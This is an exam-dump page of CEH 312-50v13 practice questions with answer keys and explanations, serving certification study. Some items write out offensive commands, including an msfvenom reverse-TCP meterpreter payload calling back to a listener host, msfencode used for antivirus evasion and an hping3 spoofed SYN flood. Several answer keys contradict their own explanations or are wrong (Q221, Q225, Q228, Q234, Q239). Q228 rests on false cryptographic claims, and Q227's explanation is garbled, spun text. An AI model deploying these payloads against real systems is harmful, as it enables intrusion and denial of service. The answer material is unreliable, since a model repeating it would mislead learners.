Provide ECCouncil 312-50v13 Practice Test Engine for Preparation [Q220-Q245]

Provide ECCouncil 312-50v13 Practice Test Engine for Preparation

Detailed New 312-50v13 Exam Questions for Concept Clearance

NEW QUESTION # 220
What information security law or standard aims at protecting stakeholders and the general public from accounting errors and fraudulent activities within organizations?

• A. ISO/I EC 27001:2013
• B. SOX
• C. PCI-DSS
• D. FISMA

Answer: B

NEW QUESTION # 221
Which of the following types of SQL injection attacks extends the results returned by the original query, enabling attackers to run two or more statements if they have the same structure as the original one?

• A. Boolean-based blind SQL injection
• B. Error-based injection
• C. Union SQL injection
• D. Blind SQL injection

Answer: D

NEW QUESTION # 222
Although FTP traffic is not encrypted by default, which layer 3 protocol would allow for end-to-end encryption of the connection?

• A. FTPS
• B. SSL
• C. Ipsec
• D. SFTP

Answer: C

Explanation:
https://en.wikipedia.org/wiki/IPsec
Internet Protocol Security (IPsec) is a secure network protocol suite that authenticates and encrypts the packets of data to provide secure encrypted communication between two computers over an Internet Protocol network. It is used in virtual private networks (VPNs).
IPsec includes protocols for establishing mutual authentication between agents at the beginning of a session and negotiation of cryptographic keys to use during the session. IPsec can protect data flows between a pair of hosts (host-to-host), between a pair of security gateways (network-to-network), or between a security gateway and a host (network-to-host). IPsec uses cryptographic security services to protect communications over Internet Protocol (IP) networks. It supports network-level peer authentication, data-origin authentication, data integrity, data confidentiality (encryption), and replay protection.
The initial IPv4 suite was developed with few security provisions. As a part of the IPv4 enhancement, IPsec is a layer 3 OSI model or internet layer end-to-end security scheme. In contrast, while some other Internet security systems in widespread use operate above layer 3, such as Transport Layer Security (TLS) that operates at the Transport Layer and Secure Shell (SSH) that operates at the Application layer, IPsec can automatically secure applications at the IP layer.

NEW QUESTION # 223
what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

• A. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c
• B. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
• C. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
• D. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c

Answer: B

Explanation:
https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler.
Run 'set payload' for the relevant payload used and configure all necessary options (LHOST, LPORT, etc).
Execute and wait for the payload to be run. For the examples below it's pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.
Example for Windows:
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

NEW QUESTION # 224
Which Metasploit Framework tool can help penetration tester for evading Anti-virus Systems?

• A. msfcli
• B. msfencode
• C. msfpayload
• D. msfd

Answer: B

Explanation:
https://www.offensive-security.com/metasploit-unleashed/msfencode/
One of the best ways to avoid being stopped by antivirus software is to encode our payload with msfencode.
Msfencode is a useful tool that alters the code in an executable so that it looks different to antivirus software but will still run the same way. Much as the binary attachment in email is encoded in Base64, msfencode encodes the original executable in a new binary. Then, when the executable is run, msfencode decodes the original code into memory and exe-cutes it.

NEW QUESTION # 225
During a penetration testing assignment, a Certified Ethical Hacker (CEH) used a set of scanning tools to create a profile of the target organization. The CEH wanted to scan for live hosts, open ports, and services on a target network. He used Nmap for network inventory and Hping3 for network security auditing. However, he wanted to spoof IP addresses for anonymity during probing. Which command should the CEH use to perform this task?

• A. Hping3 -S 192.168.1.1 -a 192.168.1.254 -p 22 -flood
• B. Nmap -sS -Pn -n -vw --packet-trace -p- --script discovery -T4
• C. Hping3-210.0.0.25-p 80
• D. Hping3 -110.0.0.25 --ICMP

Answer: A

Explanation:
The command C. Hping3 -S 192.168.1.1 -a 192.168.1.254 -p 22 -flood is the correct one to spoof IP addresses for anonymity during probing. This command sends SYN packets (-S) to the target IP 192.168.1.1 with a spoofed source IP (-a) 192.168.1.254 on port 22 (-p) and floods the target with packets (-flood). This way, the CEH can hide his real IP address and avoid detection by the target's firewall or IDS12.
The other commands are incorrect for the following reasons:
* A. Hping3 -110.0.0.25 --ICMP: This command sends ICMP packets (-ICMP) to the target IP 10.0.0.25, but does not spoof the source IP. Therefore, the CEH's real IP address will be exposed to the target.
* B. Nmap -sS -Pn -n -vw --packet-trace -p- --script discovery -T4: This command performs a stealthy SYN scan (-sS) on all ports (-p-) of the target without pinging it (-Pn) or resolving DNS names (-n). It also enables verbose output (-v), packet tracing (-packet-trace), and discovery scripts (-script discovery) with an aggressive timing (-T4). However, this command does not spoof the source IP, and in fact, reveals more information about the scan to the target by using packet tracing and discovery scripts.
* D. Hping3-210.0.0.25-p 80: This command sends TCP packets (default) to the target IP 10.0.0.25 on port 80 (-p), but does not spoof the source IP. Therefore, the CEH's real IP address will be exposed to the target.
References:
* 1: Master hping3 and Enhance Your Network Strength | GoLinuxCloud
* 2: Spoofing Packets with Hping3 - YouTube

NEW QUESTION # 226
You have gained physical access to a Windows 2008 R2 server which has an accessible disc drive. When you attempt to boot the server and log in, you are unable to guess the password. In your toolkit, you have an Ubuntu 9.10 Linux LiveCD. Which Linux-based tool can change any user's password or activate disabled Windows accounts?

• A. CHNTPW
• B. John the Ripper
• C. SET
• D. Cain & Abel

Answer: A

NEW QUESTION # 227
Bella, a security professional working at an it firm, finds that a security breach has occurred while transferring important files. Sensitive data, employee usernames. and passwords are shared In plaintext, paving the way for hackers 10 perform successful session hijacking. To address this situation. Bella Implemented a protocol that sends data using encryption and digital certificates. Which of the following protocols Is used by Bella?

• A. FTPS
• B. HTTPS
• C. FTP
• D. IP

Answer: A

Explanation:
The File Transfer Protocol (FTP) is a standard organization convention utilized for the exchange of PC records from a worker to a customer on a PC organization. FTP is based on a customer worker model engineering utilizing separate control and information associations between the customer and the server.[1] FTP clients may validate themselves with an unmistakable book sign-in convention, ordinarily as a username and secret key, however can interface namelessly if the worker is designed to permit it. For secure transmission that ensures the username and secret phrase, and scrambles the substance, FTP is frequently made sure about with SSL/TLS (FTPS) or supplanted with SSH File Transfer Protocol (SFTP).
The primary FTP customer applications were order line programs created prior to working frameworks had graphical UIs, are as yet dispatched with most Windows, Unix, and Linux working systems.[2][3] Many FTP customers and mechanization utilities have since been created for working areas, workers, cell phones, and equipment, and FTP has been fused into profitability applications, for example, HTML editors.

NEW QUESTION # 228
You are the lead cybersecurity analyst at a multinational corporation that uses a hybrid encryption system to secure inter-departmental communications. The system uses RSA encryption for key exchange and AES for data encryption, taking advantage of the strengths of both asymmetric and symmetric encryption. Each RSA key pair has a size of 'n' bits, with larger keys providing more security at the cost of slower performance. The time complexity of generating an RSA key pair is O(n*2), and AES encryption has a time complexity of O(n).
An attacker has developed a quantum algorithm with time complexity O((log n)*2) to crack RSA encryption.
Given *n=4000' and variable 'AES key size', which scenario is likely to provide the best balance of security and performance?

• A. AES key size=128 bits: This configuration provides less security than option A, but RSA key generation and AES encryption will be faster.
• B. AES key size=192 bits: This configuration is a balance between options A and B, providing moderate security and performance.
• C. AES key size=512 bits: This configuration provides the highest level of security but at a significant performance cost due to the large AES key size.
• D. AES key size=256 bits: This configuration provides a high level of security, but RSA key generation may be slow.

Answer: A

Explanation:
A hybrid encryption system is a system that combines the advantages of both asymmetric and symmetric encryption algorithms. Asymmetric encryption, such as RSA, uses a pair of keys: a public key and a private key, which are mathematically related but not identical. Asymmetric encryption can provide key exchange, authentication, and non-repudiation, but it is slower and less efficient than symmetric encryption. Symmetric encryption, such as AES, uses a single key to encrypt and decrypt data. Symmetric encryption is faster and more efficient than asymmetric encryption, but it requires a secure way to share the key.
In a hybrid encryption system, RSA encryption is used for key exchange, and AES encryption is used for data encryption. This way, the system can benefit from the security of RSA and the speed of AES. However, the system also depends on the key sizes of both algorithms, which affect the security and performance of the system.
The key size of RSA encryption determines the number of bits in the public and private keys. The larger the key size, the more secure the encryption, but also the slower the key generation and encryption/decryption processes. The time complexity of generating an RSA key pair is O(n*2), where n is the key size in bits. This means that the time required to generate an RSA key pair increases quadratically with the key size. For example, if it takes 1 second to generate a 1024-bit RSA key pair, it will take 4 seconds to generate a 2048-bit RSA key pair, and 16 seconds to generate a 4096-bit RSA key pair.
The key size of AES encryption determines the number of bits in the symmetric key. The larger the key size, the more secure the encryption, but also the more rounds of encryption/decryption are needed. The time complexity of AES encryption is O(n), where n is the key size in bits. This means that the time required to encrypt/decrypt data increases linearly with the key size. For example, if it takes 1 second to encrypt/decrypt data with a 128-bit AES key, it will take 2 seconds to encrypt/decrypt data with a 256-bit AES key, and 4 seconds to encrypt/decrypt data with a 512-bit AES key.
An attacker has developed a quantum algorithm with time complexity O((log n)*2) to crack RSA encryption.
This means that the time required to break RSA encryption decreases exponentially with the key size. For example, if it takes 1 second to break a 1024-bit RSA encryption, it will take 0.25 seconds to break a 2048-bit RSA encryption, and 0.0625 seconds to break a 4096-bit RSA encryption. This makes RSA encryption vulnerable to quantum attacks, unless the key size is very large.
Given n=4000 and variable AES key size, the scenario that is likely to provide the best balance of security and performance is C. AES key size=192 bits. This configuration is a compromise between options A and B, providing moderate security and performance. Option A, AES key size=128 bits, provides less security than option C, but RSA key generation and AES encryption will be faster. Option B, AES key size=256 bits, provides more security than option C, but RSA key generation may be slow. Option D, AES key size=512 bits, provides the highest level of security, but at a significant performance cost due to the large AES key size.
References:
* Hybrid cryptosystem - Wikipedia
* RSA (cryptosystem) - Wikipedia
* Advanced Encryption Standard - Wikipedia
* Quantum computing and cryptography - Wikipedia

NEW QUESTION # 229
An IT company has just implemented new security controls to their network and system setup. As a Certified Ethical Hacker, your responsibility is to assess the possible vulnerabilities in the new setup. You are given the information that the network and system are adequately patched with the latest updates, and all employees have gone through recent cybersecurity awareness training. Considering the potential vulnerability sources, what is the best initial approach to vulnerability assessment?

• A. Conducting social engineering tests to check if employees can be tricked into revealing sensitive information
• B. Evaluating the network for inherent technology weaknesses prone to specific types of attacks
• C. Investigating if any ex-employees still have access to the company's system and data
• D. Checking for hardware and software misconfigurations to identify any possible loopholes

Answer: D

Explanation:
A vulnerability assessment is a systematic review of security weaknesses in an information system. It evaluates if the system is susceptible to any known vulnerabilities, assigns severity levels to those vulnerabilities, and recommends remediation or mitigation, if and whenever needed1. A vulnerability assessment can be performed using various tools and techniques, depending on the scope and objectives of the assessment.
Considering the potential vulnerability sources, the best initial approach to vulnerability assessment is to check for hardware and software misconfigurations to identify any possible loopholes. Hardware and software misconfigurations are common sources of vulnerabilities that can expose the system to unauthorized access, data breaches, or service disruptions. Hardware and software misconfigurations can include:
* Insecure default settings, such as weak passwords, open ports, unnecessary services, or verbose error messages.
* Improper access control policies, such as granting excessive privileges, allowing anonymous access, or failing to revoke access for terminated users.
* Lack of encryption or authentication mechanisms, such as using plain text protocols, storing sensitive data in clear text, or transmitting data without verifying the identity of the sender or receiver.
* Outdated or incompatible software versions, such as using unsupported or deprecated software, failing to apply security patches, or having software conflicts or dependencies.
Checking for hardware and software misconfigurations can help identify any possible loopholes that could be exploited by attackers to compromise the system or the data. Checking for hardware and software misconfigurations can be done using various tools, such as:
* Configuration management tools, such as Ansible, Puppet, or Chef, that can automate the deployment and maintenance of consistent and secure configurations across the system.
* Configuration auditing tools, such as Nipper, Lynis, or OpenSCAP, that can scan the system for deviations from the desired or expected configurations and report any issues or vulnerabilities.
* Configuration testing tools, such as Inspec, Serverspec, or Testinfra, that can verify the system's compliance with the specified configuration rules and standards.
Therefore, checking for hardware and software misconfigurations is the best initial approach to vulnerability assessment, as it can help identify and eliminate any possible loopholes that could pose a security risk to the system or the data.
References:
* Vulnerability Assessment Principles | Tenable
* Configuration Management Tools: A Complete Guide - Guru99
* Top 10 Configuration Auditing Tools - Infosec Resources
* [Configuration Testing Tools: A Complete Guide - Guru99]

NEW QUESTION # 230
What is correct about digital signatures?

• A. Digital signatures are issued once for each user and can be used everywhere until they expire.
• B. A digital signature cannot be moved from one signed document to another because it is a plain hash of the document content.
• C. Digital signatures may be used in different documents of the same type.
• D. A digital signature cannot be moved from one signed document to another because it is the hash of the original document encrypted with the private key of the signing party.

Answer: D

NEW QUESTION # 231
A new wireless client is configured to join a 802.11 network. This client uses the same hardware and software as many of the other clients on the network. The client can see the network, but cannot connect. A wireless packet sniffer shows that the Wireless Access Point (WAP) is not responding to the association requests being sent by the wireless client. What is a possible source of this problem?

• A. The client cannot see the SSID of the wireless network
• B. The WAP does not recognize the client's MAC address
• C. Client is configured for the wrong channel
• D. The wireless client is not configured to use DHCP

Answer: B

Explanation:
https://en.wikipedia.org/wiki/MAC_filtering
MAC filtering is a security method based on access control. Each address is assigned a 48-bit address, which is used to determine whether we can access a network or not. It helps in listing a set of allowed devices that you need on your Wi-Fi and the list of denied devices that you don't want on your Wi-Fi. It helps in preventing unwanted access to the network. In a way, we can blacklist or white list certain computers based on their MAC address. We can configure the filter to allow connection only to those devices included in the white list. White lists provide greater security than blacklists because the router grants access only to selected devices.
It is used on enterprise wireless networks having multiple access points to prevent clients from communicating with each other. The access point can be configured only to allow clients to talk to the default gateway, but not other wireless clients. It increases the efficiency of access to a network.
The router allows configuring a list of allowed MAC addresses in its web interface, allowing you to choose which devices can connect to your network. The router has several functions designed to improve the network's security, but not all are useful. Media access control may seem advantageous, but there are certain flaws.
On a wireless network, the device with the proper credentials such as SSID and password can authenticate with the router and join the network, which gets an IP address and access to the internet and any shared resources.
MAC address filtering adds an extra layer of security that checks the device's MAC address against a list of agreed addresses. If the client's address matches one on the router's list, access is granted; otherwise, it doesn' t join the network.

NEW QUESTION # 232
Which of the following tools performs comprehensive tests against web servers, including dangerous files and CGIs?

• A. Nikto
• B. John the Ripper
• C. Dsniff
• D. Snort

Answer: A

Explanation:
https://en.wikipedia.org/wiki/Nikto_(vulnerability_scanner)
Nikto is a free software command-line vulnerability scanner that scans web servers for dangerous files/CGIs, outdated server software, and other problems. It performs generic and server types specific checks. It also captures and prints any cookies received. The Nikto code itself is free software, but the data files it uses to drive the program are not.

NEW QUESTION # 233
Which Nmap option would you use if you were not concerned about being detected and wanted to perform a very fast scan?

• A. -T5
• B. -T0
• C. -A
• D. -O

Answer: A

NEW QUESTION # 234
A penetration tester was assigned to scan a large network range to find live hosts. The network is known for using strict TCP filtering rules on its firewall, which may obstruct common host discovery techniques. The tester needs a method that can bypass these firewall restrictions and accurately identify live systems. What host discovery technique should the tester use?

• A. ICMP Timestamp Ping Scan
• B. lCMP ECHO Ping Scan
• C. TCP SYN Ping Scan
• D. UDP Ping Scan

Answer: C

Explanation:
The host discovery technique that the tester should use is TCP SYN Ping Scan. This technique sends a TCP SYN packet to a specified port on the target host and waits for a response. If the host responds with a TCP SYN/ACK packet, it means the host is alive and the port is open. If the host responds with a TCP RST packet, it means the host is alive but the port is closed. If the host does not respond at all, it means the host is either dead or filtered by a firewall12. TCP SYN Ping Scan can bypass firewall restrictions because it mimics the initial stage of a TCP three-way handshake, which is a common and legitimate network activity. Therefore, most firewalls will allow TCP SYN packets to pass through and reach the target host, unless they are configured to block specific ports or IP addresses3. TCP SYN Ping Scan can also accurately identify live systems because it does not rely on ICMP, which may be blocked or rate-limited by some firewalls or routers.
The other options are not as effective or feasible as TCP SYN Ping Scan for the following reasons:
* A. UDP Ping Scan: This technique sends a UDP packet to a specified port on the target host and waits for a response. If the host responds with an ICMP Port Unreachable message, it means the host is alive but the port is closed. If the host does not respond at all, it means the host is either dead, the port is open, or the packet is filtered by a firewall12. UDP Ping Scan may not bypass firewall restrictions because some firewalls may block or drop UDP packets, especially if they are sent to uncommon or reserved ports. UDP Ping Scan may also not accurately identify live systems because it cannot distinguish between open ports and filtered packets, and it may generate false positives or negatives due to packet loss or rate-limiting.
* B. ICMP ECHO Ping Scan: This technique sends an ICMP ECHO Request packet to the target host and waits for an ICMP ECHO Reply packet. If the host responds with an ICMP ECHO Reply packet, it means the host is alive. If the host does not respond at all, it means the host is either dead or filtered by a firewall12. ICMP ECHO Ping Scan may not bypass firewall restrictions because some firewalls may block or drop ICMP packets, especially if they are sent to prevent ping sweeps or denial-of-service attacks. ICMP ECHO Ping Scan may also not accurately identify live systems because it may generate false positives or negatives due to packet loss or rate-limiting.
* C. ICMP Timestamp Ping Scan: This technique sends an ICMP Timestamp Request packet to the target host and waits for an ICMP Timestamp Reply packet. If the host responds with an ICMP Timestamp Reply packet, it means the host is alive. If the host does not respond at all, it means the host is either dead or filtered by a firewall12. ICMP Timestamp Ping Scan may not bypass firewall restrictions because some firewalls may block or drop ICMP packets, especially if they are sent to prevent ping sweeps or denial-of-service attacks. ICMP Timestamp Ping Scan may also not accurately identify live systems because it may generate false positives or negatives due to packet loss or rate-limiting.
References:
* 1: Host Discovery in Nmap Network Scanning - GeeksforGeeks
* 2: nmap Host Discovery Techniques
* 3: TCP SYN Ping Scan - Nmap
* : Ping Sweep - an overview | ScienceDirect Topics
* : UDP Ping Scan - Nmap
* : UDP Ping Scan - an overview | ScienceDirect Topics
* : ICMP Ping Scan - Nmap
* : ICMP Ping Scan - an overview | ScienceDirect Topics

NEW QUESTION # 235
Which of the following algorithms can be used to guarantee the integrity of messages being sent, in transit, or stored?

• A. asymmetric algorithms
• B. integrity algorithms
• C. hashing algorithms
• D. symmetric algorithms

Answer: C

NEW QUESTION # 236
What would be the purpose of running "wget 192.168.0.15 -q -S" against a web server?

• A. Downloading all the contents of the web page locally for further examination
• B. Using wget to perform banner grabbing on the webserver
• C. Performing content enumeration on the web server to discover hidden folders
• D. Flooding the web server with requests to perform a DoS attack

Answer: B

Explanation:
-q, --quiet quiet (no output)
-S, --server-response print server response

NEW QUESTION # 237
what are common files on a web server that can be misconfigured and provide useful Information for a hacker such as verbose error messages?

• A. httpd.conf
• B. administration.config
• C. idq.dll
• D. php.ini

Answer: D

Explanation:
The php.ini file may be a special file for PHP. it's where you declare changes to your PHP settings. The server is already configured with standard settings for PHP, which your site will use by default. Unless you would like to vary one or more settings, there's no got to create or modify a php.ini file. If you'd wish to make any changes to settings, please do so through the MultiPHP INI Editor.

NEW QUESTION # 238
Attacker Lauren has gained the credentials of an organization's internal server system, and she was often logging in during irregular times to monitor the network activities. The organization was skeptical about the login times and appointed security professional Robert to determine the issue. Robert analyzed the compromised device to find incident details such as the type of attack, its severity, target, impact, method of propagation, and vulnerabilities exploited. What is the incident handling and response (IH&R) phase, in which Robert has determined these issues?

• A. Incident recording and assignment
• B. Incident triage
• C. Preparation
• D. Eradication

Answer: B

Explanation:
Incident Handling and Response Incident handling and response (IH&R) is the process of taking organized and careful steps when reacting to a security incident or cyberattack. Steps involved in the IH&R process: 3.
Incident Triage - The IH&R team further analyzes the compromised device to find incident details such as the type of attack, its severity, target, impact, and method of propagation, and any vulnerabilities it exploited. (P.
84/68)

NEW QUESTION # 239
A large e-commerce organization is planning to implement a vulnerability assessment solution to enhance its security posture. They require a solution that imitates the outside view of attackers, performs well-organized inference-based testing, scans automatically against continuously updated databases, and supports multiple networks. Given these requirements, which type of vulnerability assessment solution would be most appropriate?

• A. Service-based solution offered by an auditing firm
• B. Product-based solution installed on a private network
• C. Inference-based assessment solution
• D. Tree-based assessment approach

Answer: A

Explanation:
A service-based solution offered by an auditing firm would be the most appropriate type of vulnerability assessment solution for the large e-commerce organization, given their requirements. A service-based solution is a type of vulnerability assessment that is performed by external experts who have the skills, tools, and experience to conduct a thorough and comprehensive analysis of the target system or network. A service- based solution can imitate the outside view of attackers, as the experts are not familiar with the internal details or configurations of the organization. A service-based solution can also perform well-organized inference- based testing, which is a type of testing that uses logical reasoning and deduction to identify and exploit vulnerabilities based on the information gathered from the target. A service-based solution can scan automatically against continuously updated databases, as the experts have access to the latest security intelligence and threat feeds. A service-based solution can also support multiple networks, as the experts can use different techniques and tools to scan different types of networks, such as wired, wireless, cloud, or hybrid12.
The other options are not as appropriate as option B for the following reasons:
* A. Inference-based assessment solution: This option is not a type of vulnerability assessment solution, but a type of testing method that can be used by any solution. Inference-based testing is a testing method that uses logical reasoning and deduction to identify and exploit vulnerabilities based on the information gathered from the target. Inference-based testing can be performed by service-based, product-based, or tree-based solutions, depending on the scope, objectives, and resources of the assessment3.
* C. Tree-based assessment approach: This option is not a type of vulnerability assessment solution, but a type of testing method that can be used by any solution. Tree-based testing is a testing method that uses a hierarchical structure to organize and prioritize the vulnerabilities based on their severity, impact, and exploitability. Tree-based testing can be performed by service-based, product-based, or inference-based solutions, depending on the scope, objectives, and resources of the assessment4.
* D. Product-based solution installed on a private network: This option is a type of vulnerability assessment solution, but it may not meet all the requirements of the large e-commerce organization. A product-based solution is a type of vulnerability assessment that is performed by using software or hardware tools that are installed on the organization's own network. A product-based solution can scan automatically against continuously updated databases, as the tools can be configured to download and apply the latest security updates and patches. However, a product-based solution may not imitate the outside view of attackers, as the tools may have limited access or visibility to the external network or the internet. A product-based solution may also not perform well-organized inference-based testing, as the tools may rely on predefined rules or signatures to detect and report vulnerabilities, rather than using logical reasoning and deduction. A product-based solution may also not support multiple networks, as the tools may be designed or optimized for a specific type of network, such as wired, wireless, cloud, or hybrid .
References:
* 1: Vulnerability Assessment Services | Rapid7
* 2: Vulnerability Assessment Services | IBM
* 3: Inference-Based Vulnerability Testing of Firewall Policies - IEEE Conference Publication
* 4: A Tree-Based Approach for Vulnerability Assessment - IEEE Conference Publication
* : Vulnerability Assessment Tools | OWASP Foundation
* : Vulnerability Assessment Solutions: Why You Need One and How to Choose | Defensible

NEW QUESTION # 240
By using a smart card and pin, you are using a two-factor authentication that satisfies

• A. Something you have and something you know
• B. Something you have and something you are
• C. Something you are and something you remember
• D. Something you know and something you are

Answer: A

Explanation:
Two-factor Authentication or 2FA is a user identity verification method, where two of the three possible authentication factors are combined to grant access to a website or application.1) something the user knows,
2) something the user has, or 3) something the user is.
The possible factors of authentication are:
Something the User Knows:
This is often a password, passphrase, PIN, or secret question. To satisfy this authentication challenge, the user must provide information that matches the answers previously provided to the organization by that user, such as "Name the town in which you were born."
Something the User Has:
This involves entering a one-time password generated by a hardware authenticator. Users carry around an authentication device that will generate a one-time password on command. Users then authenticate by providing this code to the organization. Today, many organizations offer software authenticators that can be installed on the user's mobile device.
Something the User Is:
This third authentication factor requires the user to authenticate using biometric data. This can include fingerprint scans, facial scans, behavioral biometrics, and more.
For example: In internet security, the most used factors of authentication are:
something the user has (e.g., a bank card) and something the user knows (e.g., a PIN code). This is two- factor authentication. Two-factor authentication is also sometimes referred to as strong authentication, Two- Step Verification, or 2FA.
The key difference between Multi-Factor Authentication (MFA) and Two-Factor Authentication (2FA) is that, as the term implies, Two-Factor Authentication utilizes a combination of two out of three possible authentication factors. In contrast, Multi-Factor Authentication could utilize two or more of these authentication factors.

NEW QUESTION # 241
During a red team engagement, an ethical hacker is tasked with testing the security measures of an organization's wireless network. The hacker needs to select an appropriate tool to carry out a session hijacking attack. Which of the following tools should the hacker use to effectively perform session hijacking and subsequent security analysis, given that the target wireless network has the Wi-Fi Protected Access-preshared key (WPA-PSK) security protocol in place?

• A. bettercap
• B. Droidsheep
• C. FaceNiff
• D. Hetty

Answer: A

Explanation:
bettercap is a tool that can perform session hijacking attacks on wireless networks, among other network security and penetration testing tasks. bettercap can capture and manipulate network traffic, perform man-in- the-middle attacks, spoof and sniff protocols, inject custom payloads, and more1.
bettercap can perform session hijacking attacks on wireless networks that use the WPA-PSK security protocol by exploiting the four-way handshake process that occurs when a client connects to a wireless access point.
The four-way handshake is used to establish a shared encryption key between the client and the access point, based on the pre-shared key (PSK) that is configured on both devices. However, the four-way handshake also exposes some information that can be used to crack the PSK offline, such as the nonce values, the MAC addresses, and the message integrity code (MIC) of the packets2.
bettercap can capture the four-way handshake packets using its Wi-Fi module and save them in a file. The file can then be fed to a tool like Hashcat or Aircrack-ng to crack the PSK using brute force or dictionary attacks. Once the PSK is obtained, bettercap can use it to decrypt the wireless traffic and perform session hijacking attacks on the clients connected to the access point3.
Therefore, bettercap is an appropriate tool to carry out a session hijacking attack on a wireless network that uses the WPA-PSK security protocol.
References:
* bettercap: the Swiss Army knife for 802.11, BLE and Ethernet networks reconnaissance and MITM attacks
* How the WPA2 Enterprise Wireless Security Protocol Works
* Cracking WPA/WPA2 Passwords with Bettercap and Hashcat

NEW QUESTION # 242
When considering how an attacker may exploit a web server, what is web server footprinting?

• A. When an attacker gathers system-level data, including account details and server names
• B. When an attacker implements a vulnerability scanner to identify weaknesses
• C. When an attacker uses a brute-force attack to crack a web-server password
• D. When an attacker creates a complete profile of the site's external links and file structures

Answer: A

NEW QUESTION # 243
To hide the file on a Linux system, you have to start the filename with a specific character. What is the character?

• A. Period (.)
• B. Exclamation mark (!)
• C. Underscore (_)
• D. Tilde H

Answer: A

NEW QUESTION # 244
You need a tool that can do network intrusion prevention and intrusion detection, function as a network sniffer, and record network activity, what tool would you most likely select?

• A. Snort
• B. Nessus
• C. Nmap
• D. Cain & Abel

Answer: A

NEW QUESTION # 245
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